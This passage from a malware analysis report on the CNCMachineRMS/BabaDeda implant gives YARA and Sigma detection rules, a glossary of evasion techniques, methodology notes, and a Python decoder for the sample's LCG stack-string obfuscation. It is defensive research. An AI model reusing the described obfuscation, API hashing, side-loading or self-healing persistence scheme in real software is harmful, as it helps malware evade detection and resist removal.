note = "The header identity q[2]-((K-q[0]*q[1])+q[5])==1 is not expressible in YARA arithmetic over file dwords; this rule captures only the weaker observable shape and MUST be paired with the identity check in a scanner."
confidence = "low - shape only, expect false positives"
strings:
$mz = { 4d 5a }
condition:
not ($mz at 0) and filesize > 1MB and filesize < 4MB
}
rule CNCRMS_LCG_StackStrings
{
meta:
description = "LCG stack-string decoder constants - matches EITHER stage"
reference = "Technical Analysis sections 7, 8, 15"
note = "seed differs per stage. Measured: seed3 x1477 in load_db_stage3.bin, seed2 x124 in payload_stage2.bin; neither seed appears in the other stage."
confidence = "high"
strings:
$seed3 = { e8 d0 f4 45 19 40 21 56 } // 0x5621401945f4d0e8
$seed2 = { 65 15 29 fa 75 66 a5 7b } // 0x7ba56675fa291565
$mul = { 0d 66 19 00 } // 0x19660D
$add = { 5f f3 6e 3c } // 0x3C6EF35F
condition:
($seed3 or $seed2) and $mul and $add
}
rule CNCRMS_Config_Schema_Memory
{
meta:
description = "Settings-blob field names - decoded only in memory, not on disk"
reference = "Technical Analysis section 11f; Detection item 16"
scan_target = "process memory, NOT files"
confidence = "high"
strings:
$a = "is_tosend_firstlaunch_screenshot" ascii wide
$b = "gate_failed_reconnect_delay_seconds" ascii wide
$c = "enable_acs_onstart" ascii wide
$d = "shedulerAutorunValue" ascii wide // attacker's misspelling
$e = "BypassExceptionHandler" ascii wide
condition:
2 of them
}
rule CNCRMS_Sideload_Layout
{
meta:
description = "Camouflage module naming alongside a signed host application"
reference = "Technical Analysis section 14"
confidence = "medium - structural, tune against a benign baseline"
strings:
$e1 = "OptimizeTextCard" ascii
$e2 = "LoadDatabase" ascii
$e3 = "Accuracy" ascii
condition:
uint16(0) == 0x5A4D and 2 of them
}
Sigma — persistence re-application on a timer. This is the single most distinctive host behaviour, because the check-then-restore loop (§6) means the entry reappears after deletion rather than simply existing. A rule keyed on the value name alone would miss a renamed build; a rule keyed on repeated re-creation would not.
title: CNCMachineRMS Implant - Self-Healing Autorun Re-Application
id: 8f2c1d4e-3b7a-4e91-a6c5-2d9f0e1b7a43
status: experimental
description: >
Detects the self-healing persistence loop of the CNCMachineRMS/BabaDeda
implant, which re-applies its Run key and scheduled task on 150 s / 875 s
timers and again at shutdown. Deleting the entry while the process lives is
undone, so repeated re-creation is the signal - not mere presence.
references:
- Technical Analysis sections 5, 6, 6b
logsource:
product: windows
category: registry_set
detection:
autorun_value:
TargetObject|contains:
- '\CurrentVersion\Run\'
Details|contains:
- 'WinWrap'
masquerade_name:
TargetObject|endswith:
- 'SPSS WinWrap Basic IDE 27.4'
condition: autorun_value or masquerade_name
falsepositives:
- A genuine licensed WinWrap Basic IDE installation writing its own Run entry.
Distinguish by target path and by whether the value is re-created after
deletion.
level: high
---
title: CNCMachineRMS Implant - SYSTEM Scheduled Task Creation
id: 1a6b9c07-5d82-4f30-9e14-7c3a8b52d6ef
status: experimental
description: >
Detects the scheduled-task half of the same persistence pair, registered to
run as SYSTEM.
references:
- Technical Analysis section 6
logsource:
product: windows
category: process_creation
detection:
selection:
Image|endswith: '\schtasks.exe'
CommandLine|contains|all:
- '/create'
- '/RU'
- 'SYSTEM'
condition: selection
falsepositives:
- Legitimate administrative and software-installer task creation. Tune by
parent process and by the task's target binary path.
level: mediumWhat these rules deliberately do not cover. No rule is offered for the top-level C2 command surface, because it is unenumerated (Assessment Limitations). No network-content rule is offered for the port-443 traffic, because whether it is TLS is unresolved (§11g) — a rule assuming either answer would fail silently against the other.
BinExport / QBinDiff — tooling for function-level correspondence between two binaries; not used for a finding in this report.
C++/CLI mixed-mode assembly — a PE containing both
native machine code and .NET CIL, importing mscoree. Its
presence here is genuine, not a misidentification.
DoH (DNS-over-HTTPS) — DNS resolution tunnelled inside HTTPS to a web endpoint, invisible to local DNS logging and unaffected by DNS blocklists.
DLL search-order hijacking / side-loading — placing an attacker DLL where a legitimate application will load it in preference to the intended one, so attacker code runs inside a trusted, signed process.
FNV-1a hashing — a hash used here to resolve Windows API names at runtime so that no import table or plaintext API string reveals the malware’s capabilities.
LCG (linear congruential generator) — a simple
pseudorandom sequence, s = s*A + C mod M, used here to key
the stack-string obfuscation.
Rolling XOR — XOR where the key changes per byte position, so a decode starting at the wrong offset produces garbage rather than partially-correct data.
RWX memory — memory simultaneously readable, writable and executable; a common requirement for runtime-decrypted code and a common detection target.
Stack string — a string assembled at runtime by
writing bytes or words onto the stack, leaving nothing for a
strings pass to find.
ProgID — a registry identifier for a program associated with a file type or URL scheme; used here to enumerate installed browsers.
Tooling. The project’s standard pipeline
(analyze.sh) was run over the three malicious PEs,
producing per-artefact directories
analysis_cncrms_{PkSql1,HTS25,usbraw}/ containing
identity/hashing, rabin2 PE structure, rich-header and
entropy detail, ASCII and wide strings, FLOSS, capa, ClamAV, IOC
extraction, r2inspect, and Ghidra headless decompilation.
The two carrier files and the two derived payloads are not PEs and
were handled outside the pipeline, in
analysis_cncrms_payload/.
Decoders. Every transformation was re-implemented in
Python from the sample’s own code and applied to bytes read from disk.
Nothing was executed. The primary script written for this analysis is
decode_strings.py, which the report’s string findings
derive from — it recovers each site’s seed from its own
movabs anchor rather than hardcoding one, and so decodes
both stages despite their different keys (1,296 strings from stage 3,
103 from stage 2). It is reproduced in full in Appendix: String
Decoder so those findings can be re-derived independently. A
coarser earlier variant, decode_all.py, is superseded and
is not reproduced (Corrections 45). Container decoding is recorded in
status/cncrms/05_load_db_container.md.
Verification discipline. Automated output (capa,
r2inspect, Ghidra) was treated as hypothesis-generating only. Claims
reaching this report were verified against radare2 disassembly, run as
r2 -q -e scr.color=0 -e asm.arch=x86 -e asm.bits=64 -c '<cmds>' <file>.
That discipline was applied as a distinct pass, not as a running habit, and the distinction turned out to matter. A late audit enumerated every numbered finding and marked those carrying no disassembly evidence; five of fifteen (§8, §10, §12, §13, §14) had none, and working those first produced four corrections (43–48). Three of the four were invisible to every prior audit because those passes compared report sections against each other — an internally consistent claim that was never checked against the bytes can only be caught by returning to the sample. A coverage audit was also what surfaced them: the five zero-evidence findings sit in the middle of the report and would not have been reached in a top-to-bottom read.
Negatives are stated with their extent. Where the
report says something is absent, the claim names what was searched. Two
recurring traps drove this. A struct offset searched at one operand
width silently misses a write at another (Corrections 8). And under the
Win64 ABI, an argument register set at a call site does not
establish that the callee consumes it — reading the callee is
what decides, which reversed this report’s account of how
CP_INSTALLED reaches EnumSystemCodePagesW
(Corrections 43). Import-reach negatives are walked transitively to a
stated depth for the same reason: a function that does not itself call
the loader APIs may reach them through a callee, so the depth and the
edge types covered are given alongside the result (§14).
Third-party detection and external reporting. ClamAV (engine 1.5.3, daily 28099, 3,628,022 signatures, current as of 2026-08-22) returns 0 infected across all 23 files — the 21 bundle files plus both carved payloads. That is a meaningful negative rather than a stale one, bounded by its scope: a single open-source engine, not a multi-vendor verdict. Published indicators for this family were consulted only after the analysis was complete, and are reported as corroboration rather than input; they largely describe different builds and do not apply to this sample (see External Intelligence Corroboration).
Independent review. Parts of this analysis were checked against an independent agent working the same sample, on the standing principle that union beats consensus for recall-shaped work. The merge rule was grounding, never voting: a disputed value was kept if it was demonstrable in the sample bytes, regardless of which side produced it. That mattered in both directions — a peer’s converged “no C2” negative was correctly distrusted and later disproved (Corrections 19), a peer’s 21-branch dispatcher map was reproduced locally before adoption, and a peer retraction that did not reach the report is itself logged as a defect (Corrections 22).
The grounding gate, and why it fires here by design.
Before this report was declared complete, its Indicators of Compromise
section was run through cover_check.py, which flags every
backticked value occurring nowhere in the sample bytes under any
encoding the analysis legitimately produces. On this sample the gate
flags most of the IOC section, and that is the correct
result rather than a fault in either the gate or the report: essentially
every string in stages 2 and 3 is an LCG stack string or settings-blob
ciphertext, so the plaintext genuinely is not in the file. A flag
therefore demands provenance, not deletion — each
flagged value carries, inline, the offset and scheme it was decoded
from, so a reader can reproduce it. The gate’s value on a sample of this
kind is not the pass/fail verdict but the enforced requirement that no
value appears without a stated derivation.
Detection content was validated, not merely drafted. The YARA and Sigma rules in Detection Opportunities were written against evidence already established in Technical Analysis, and the YARA rules were compiled and run against the 21-file bundle plus both carved payloads rather than inspected by eye — an uncompilable or non-matching rule is a defect that reading cannot reliably catch. Exactly three bundle files match, and all three are independently established as malicious. The one rule targeting process memory matches no file by design, which is why validation cannot be purely mechanical: its correctness is established by reading its intent, and an automated pass would score it as a failure. The section also records what is deliberately not covered and why, since an absent rule with a stated reason is usable intelligence whereas a silently missing one reads as an oversight.
Framework mapping is derived, not appended. The MITRE ATT&CK table admits a technique only where the report establishes it by disassembly, decoded script source, or decoded string evidence; capabilities inferred from imports alone, or adopted from third-party reporting on other builds of this family, are excluded even where they are probably true. Each row cites the Technical Analysis section that grounds it. This is why the table is shorter than a capa-driven mapping of the same sample would be.
Note on radare2 invocation. The architecture must be
forced. HTS25.dll and PkSql1.dll import
mscoree, and without
-e asm.arch=x86 -e asm.bits=64 radare2 attempts to parse
their native code as CIL and produces nonsense. The mscoree
import is nonetheless genuine (§14) — the two facts are easily
conflated.
Validation of the container decode. The
load.db format was not accepted on plausibility. Three
independent exact identities were required and met: magic
== 1; a header field equal to the file size; and the sum of
1,128 record sizes equal to the data-region length exactly (delta 0). An
offset that “looks right” was explicitly not treated as sufficient — see
Corrections item 1.
Coverage accounting is instrumented, not asserted. An earlier version of this appendix argued that the (then negative) C2 result rested on enumeration rather than sampling: all 1,477 stack-string sites, all 1,128 container records, both unused carrier regions, full import tables. Every one of those counts was true, and the conclusion drawn from them was false — the enumeration covered the container while leaving the contents of one record unread (Corrections item 11).
The fix is mechanical rather than a resolution to be more careful.
decode_strings.py records the byte ranges it actually
examines via the optional coverage.py instrumentation, and
every run prints to stderr the percentage of the file read plus an
enumeration of uncovered spans. On load_db_stage3.bin the
stack-string decoder reads 20.93% of the file (330,924
of 1,580,970 bytes); on payload_stage2.bin,
7.08% (24,122 of 340,803). The settings blob holding
both C2 gates lies in a single uncovered span of 161,202 bytes
(0x15a9f8–0x181faa) that the tool now names on
sight.
The same accounting is what makes the two obfuscation schemes’ independence legible. LCG stack strings and the settings blob’s per-string XOR over UTF-16LE are different schemes, and a value absent from one decoder’s output is not thereby absent from the binary — the inference that produced this engagement’s one serious error. Both must be run before any exhaustion claim.
The general rule (§11d): a negative result must state its covered and uncovered regions in offsets. Where the tooling can enforce that by emitting the numbers, it does, because a rule that lives only in prose is skipped exactly when it matters. Reproduce with:
python3 decode_strings.py load_db_stage3.bin > /dev/null
— the hit list goes to stdout, the coverage report to stderr.
Stage 2 and stage 3 store essentially all of their strings as LCG stack strings — built a UTF-16 word at a time by immediate stores, XORed against a keystream derived from a 64-bit seed. Almost nothing appears as literal bytes, which is why a grounding-gate run flags the report’s IOC section by construction (see the note opening Indicators of Compromise) and why a raw strings dump of either stage is close to empty of anything useful.
The script below is the one that produced those values. It is reproduced here so the report’s string findings can be independently re-derived from the sample rather than taken on trust — the same standard the disassembly evidence in Technical Analysis is held to.
It decodes only. The sample is read as data, the
arithmetic below is applied, and the result is printed. Nothing in the
sample is executed, and no evaluator (exec,
eval, subprocess) is involved. That is the
whole safety argument for publishing it: re-implementing a
transformation is what makes a wrong hypothesis about it fail as a
garbled decode instead of as execution.
Per string site, an anchor movabs r64, imm64 supplies
the seed. For each subsequent 16-bit word w stored to the
stack frame:
plaintext_word = w XOR ((2 * (state & 0xFFFF) + 0x11) & 0xFFFF)
state = (state * 0x19660D + 0x3C6EF35F) mod 2**64
The words concatenate into a UTF-16LE buffer, NUL-terminated.
The two stages use different seeds with an identical
algorithm — stage 2 0x7ba56675fa291565, stage 3
0x5621401945f4d0e8. One implementation, re-keyed per stage.
A decoder anchored on one stage’s seed returns zero strings on
the other and raises no error, which is a silent failure and is
exactly how this analysis initially under-read stage 2 (Corrections
46).
Reading the seed from each anchor avoids that class of error
entirely. Verified: this script recovers 1,296 strings from
load_db_stage3.bin — the set every string finding
in this report derives from — and 103 from
payload_stage2.bin, a stage it was not tuned for,
including all three AMSI indicators cited in §15 (amsi.dll
@ 0x018505, BypassExceptionHandler @
0x0221f2, fakeLib not equal 8 symbols @
0x01802d).
Output is not a survey of the file. The script is
anchored on one instruction pattern and never examines bytes outside the
neighbourhoods those anchors open — on load_db_stage3.bin
it reads 20.93% of the file, leaving 1,250,046 bytes
untouched. A string encoded by any other scheme lives in that 79% and
produces no output.
Absence from this decoder’s output is therefore not evidence of absence from the sample. That inference, made once during this engagement, is the single serious error it recorded: the settings blob (§11) uses a different scheme — per-string single-byte XOR over UTF-16LE — and its C2 endpoints were briefly reported as absent on the strength of this decoder finding nothing. Both schemes must be run before any exhaustion claim.
The optional coverage.py instrumentation referenced in
the source exists to keep that number on screen; it is accounting only,
the decoder runs without it, and it is omitted here.
"""LCG stack-string decoder for CNCMachineRMS/BabaDeda stages 2 and 3.
Recovers the seed from each `movabs r64, imm64` anchor rather than hardcoding
it, so the same script works on both stages despite their different seeds
(stage 2 0x7ba56675fa291565, stage 3 0x5621401945f4d0e8). See
FINDINGS_REPORT.md Finding 7 for the algorithm and Corrections 46 for why
hardcoding a seed fails silently across stages.
This script DECODES ONLY. It reads the file as data, applies the arithmetic
below, and prints the result. Nothing in the sample is executed, and no
evaluator (exec/eval/subprocess) is used.
Usage: python3 decode_strings.py <stage-payload.bin>
stdout = "<offset> <repr of decoded string>", one per line
stderr = count, plus a coverage report if coverage.py is present
Coverage accounting is optional instrumentation; without coverage.py the
decoder is unaffected. Note what that instrumentation exists to say: this
decoder is anchored on one instruction pattern and never reads bytes outside
the neighbourhoods those anchors open, so absence from the output is NOT
evidence of absence from the file.
"""
import re,struct,sys
try:
from coverage import Coverage # local module; optional
except ImportError: # also catches the unrelated PyPI 'coverage'
class Coverage: # no-op fallback: decoding is unaffected
def __init__(self,*a,**k): pass
def mark(self,*a,**k): pass
def report(self,*a,**k): return None
M=(1<<64)-1
def lcg(s): return (s*0x19660D+0x3C6EF35F)&M
def decode(seed,words):
out=[];s=seed
for w in words:
out.append(w^((2*(s&0xFFFF)+0x11)&0xFFFF)); s=lcg(s)
return b''.join(struct.pack('<H',x) for x in out)
d=open(sys.argv[1],'rb').read()
cov=Coverage(len(d),label=f' -- LCG stack strings, {sys.argv[1]}')
res={}
# Pattern: movabs r64, imm64 (seed) then a run of mov eax, imm32 ; mov word [rsp+X], ax
mov_r64=re.compile(rb'[\x48\x49][\xb8-\xbf](.{8})',re.S)
for m in mov_r64.finditer(d):
seed=struct.unpack('<Q',m.group(1))[0]
pos=m.end()
# skip the store of rax
words=[]
p=pos
# allow a store instruction (mov [rsp+x],rax) 4-6 bytes
mm=re.match(rb'\x48\x89(?:\x44\x24.|\x84\x24....)',d[p:p+8])
if not mm: continue
p+=mm.end()
while True:
w=re.match(rb'\xb8(.{4})\x66\x89(?:\x44\x24.|\x84\x24....)',d[p:p+16],re.S)
if not w: break
words.append(struct.unpack('<I',w.group(1))[0]&0xFFFF)
p+=w.end()
cov.mark(m.start(),p)
if len(words)>=3:
b=decode(seed,words)
try:
s=b.decode('utf-16le').rstrip('\x00')
except Exception:
continue
if s and all(32<=ord(c)<0xFFFF or c in '\r\n\t' for c in s) and sum(1 for c in s if c.isprintable())>=len(s)*0.9:
res[m.start()]=s
for off in sorted(res):
print(f"{off:#08x} {res[off]!r}")
print(f"--- {len(res)} strings ---",file=sys.stderr)
cov.report()python3 decode_strings.py load_db_stage3.bin # 1296 strings
python3 decode_strings.py payload_stage2.bin # 103 strings
Standard library only — re and struct, no
third-party dependencies. Output is
<offset> <repr> per line on stdout, count on
stderr. Offsets are into the carved stage payload, matching those cited
throughout Technical Analysis and the IOC section.
A second, coarser decoder (decode_all.py) exists in the
working set and is deliberately not reproduced here. It
hardcodes the stage-3 seed and its looser inner walk corrupts one UTF-16
word in 434 of the 1,269 strings it returns —
HKEY_CURR<junk>NT_USER for
HKEY_CURRENT_USER. The corruption stays readable, so it
survives an eyeball check and would silently break any detection rule
derived from it (Corrections 45).